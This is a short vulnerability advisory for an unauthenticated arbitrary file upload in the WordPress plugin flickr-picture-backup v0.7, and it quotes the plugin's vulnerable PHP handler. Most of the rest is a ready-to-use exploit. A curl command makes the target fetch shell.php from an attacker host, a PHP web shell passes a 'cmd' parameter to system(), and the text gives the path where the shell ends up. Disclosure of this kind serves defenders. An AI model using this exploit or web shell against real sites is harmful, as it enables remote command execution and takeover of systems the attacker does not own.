Title:Arbitrary file upload vulnerability in Wordpress plugin flickr-picture-backup v0.7The code in flickr-picture-download.php doesn't check to see if the user is authenticated or that they have permission to upload files. It also doesn't check what type of file is being uploaded. define('WP_ADMIN', TRUE); require_once('../../../wp-load.php'); require_once(ABSPATH . 'wp-admin/includes/admin.php'); //require_once("./flickr-picture-backup.php"); //echo "flickr-picture-download.php"; if($_GET["url"]) { $url = $_GET["url"]; $fl = wp_daozhao_download_flickr_picture($url); if ( is_wp_error($fl) ) { echo "FALSE:" . $fl->get_error_message(); } else { wp_daozhao_flickr_backupfile_exists($url,$returl); echo "OK:" . $returl ; } //echo wp_daozhao_flickr_backup_urlpath(); //echo "OK"; } $ curl http://example.com/wp-content/plugins/flickr-picture-backup/flickr-picture-download.php -d "url=http://myhost/shell.php" Where shell.php is code to print out php web shell code, something like: <?php echo "<?php\n\$cmd=\$_GET['cmd'];\nsystem(\$cmd);\n?>\n"; ?> Upon exploitation your shell is in: http://example.com/wp-content/uploads/flickr_backup/shell.php